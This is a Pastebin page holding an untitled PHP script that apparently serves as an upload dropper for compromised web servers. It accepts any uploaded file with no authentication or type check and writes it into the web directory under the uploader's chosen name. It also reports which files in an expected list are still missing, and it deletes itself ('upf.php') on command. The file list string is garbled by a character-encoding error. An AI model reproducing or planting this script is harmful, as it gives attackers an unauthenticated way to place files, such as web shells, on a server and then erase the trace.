daily pastebin goal
7%
SHARE
TWEET

Untitled

a guest Dec 16th, 2016 97 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. if(@$_GET['act']=="del"){
  3. $result=unlink("upf.php");
  4. if ($result){
  5. echo ("ok1ok");
  6. }
  7. }
  8. $path= getcwd()."/";
  9. if(@$_GET['act']=="list"){
  10. $files="Îļþ×é";
  11. $noexist="";
  12. $i=0;
  13. $f=explode("|",$files);
  14. foreach($f as $fs){
  15. $ff=explode(":",$fs);
  16. $fname=$ff[0];
  17. $fsize=$ff[1];
  18. if (@file_exists($path.$fname) && @filesize($path.$fname)+50>=$fsize){
  19.     $i=$i+1;
  20.     if($i>=count($f)){
  21.         echo "allupok";
  22.     }
  23. }
  24. else
  25. {
  26.     if($noexist==""){
  27.         $noexist=$fname;
  28.     }
  29.     else
  30.     {
  31.         $noexist=$noexist."|".$fname;
  32.     }
  33. }
  34. }
  35. echo $noexist;
  36. }
  37.     if(!empty($_FILES)){
  38.         if($_FILES["file"]["error"] == 0){
  39.             move_uploaded_file($_FILES["file"]["tmp_name"],$path.$_FILES["file"]["name"]);
  40.         if (file_exists($path.$_FILES["file"]["name"])){
  41.             echo $path.$_FILES['file']['name'].' upok';
  42.            }
  43.            else
  44.            {
  45.            echo $path.$_FILES['file']['name']." file no exists.";
  46.            }
  47.            
  48.         }
  49.         else
  50.         {
  51.         echo "err".$_FILES["file"]["error"];
  52.         }
  53.     }
  54. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top